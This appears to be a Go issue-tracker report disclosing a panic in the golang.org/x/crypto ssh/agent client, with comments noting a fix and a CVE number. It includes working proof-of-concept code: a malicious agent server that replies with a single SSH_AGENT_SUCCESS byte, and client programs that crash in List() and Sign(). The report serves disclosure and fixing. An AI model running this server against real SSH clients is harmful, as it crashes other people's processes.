Go version

go1.25.0

Output of go env in your module/workspace:

GOVERSION='go1.25.0'

What did you do?

Note: This was reported on security@golang.org and a PUBLIC track was assigned.

This is confirmed to happen in golang.org/x/crypto <= v0.41.0

Summary

The agent client crashes if a peer replies SSH_AGENT_SUCCESS (byte 6, the protocol’s generic success reply) to requests that expect typed responses. The unmarshal layer converts 0x06 into a successAgentMsg, but the client methods only handle the specific success types (e.g., identitiesAnswerAgentMsg, signResponseAgentMsg) or failureAgentMsg. Any other type falls through to panic("unreachable").

A malicious or buggy agent can therefore terminate the client process with a single, well-formed one-byte reply.

PoC 1 — Crash List() (and therefore Signers())

Server (replies SUCCESS to any request):

package main

import (
    "encoding/binary"
    "fmt"
    "net"
)

func main() {
    ln, err := net.Listen("tcp", "127.0.0.1:9999")
    if err != nil { panic(err) }
    fmt.Println("agent listening on 127.0.0.1:9999")
    for {
        c, err := ln.Accept()
        if err != nil { panic(err) }
        go handle(c)
    }
}

func handle(c net.Conn) {
    defer c.Close()
    var hdr [4]byte
    if _, err := c.Read(hdr[:]); err != nil { return }
    n := binary.BigEndian.Uint32(hdr[:])
    if n == 0 || n > 1<<24 { return }
    buf := make([]byte, n)
    if _, err := c.Read(buf); err != nil { return }

    resp := []byte{6} // SSH_AGENT_SUCCESS
    var out [4]byte
    binary.BigEndian.PutUint32(out[:], uint32(len(resp)))
    c.Write(out[:])
    c.Write(resp)
}

Victim client (List):

package main

import (
    "fmt"
    "net"
    "golang.org/x/crypto/ssh/agent"
)

func main() {
    conn, err := net.Dial("tcp", "127.0.0.1:9999")
    if err != nil { panic(err) }
    ag := agent.NewClient(conn)
    fmt.Println("calling List() — expect panic in agent/client.go")
    _, _ = ag.List() // panics: "unreachable"
}

This results in:

panic: unreachable

goroutine 1 [running]: golang.org/x/crypto/ssh/agent.(*client).List(0x1005a6008 /Users/jakubciolek/go/pkg/mod/golang.org/x/crypto@v0.41.0/ssh/agent/client.go:434 +0x184 main.main()

Victim client: Sign (reuse the same server)

package main

import (
    "crypto/ed25519"
    "crypto/rand"
    "net"

    "golang.org/x/crypto/ssh"
    "golang.org/x/crypto/ssh/agent"
)

func main() {
    conn, err := net.Dial("tcp", "127.0.0.1:9999")
    if err != nil { panic(err) }
    ag := agent.NewClient(conn)

    _, pub, _ := ed25519.GenerateKey(rand.Reader)
    sshPub, _ := ssh.NewPublicKey(pub)

    _, _ = ag.Sign(sshPub, []byte("hello")) // panics: "unreachable"
}

This results in:

panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x2 addr=0x18 pc=0x1050b0ef8]

goroutine 1 [running]: golang.org/x/crypto/ssh/agent.(*client).SignWithFlags(0x1400000c390 /Users/jakubciolek/go/pkg/mod/golang.org/x/crypto@v0.41.0/ssh/agent/client.go:445 +0x38 golang.org/x/crypto/ssh/agent.(*client).Sign(.. /Users/jakubciolek/go/pkg/mod/golang.org/x/crypto@v0.41.0/ssh/agent/client.go:440 main.main()

What did you see happen?

Panics on client interaction with prepared server.

What did you expect to see?

Client survives those interactions.

Comment From: gabyhelp

Related Issues

(Emoji vote if this was helpful or unhelpful; more detailed feedback welcome in this discussion.)

Comment From: cherrymui

cc @drakkan @golang/security

Comment From: gopherbot

Change https://go.dev/cl/700295 mentions this issue: ssh/agent: return an error for unexpected message types

Comment From: thatnealpatel

This is CVE-2025-47913.

Comment From: aep-sunlife

when will we see a release version with a patch?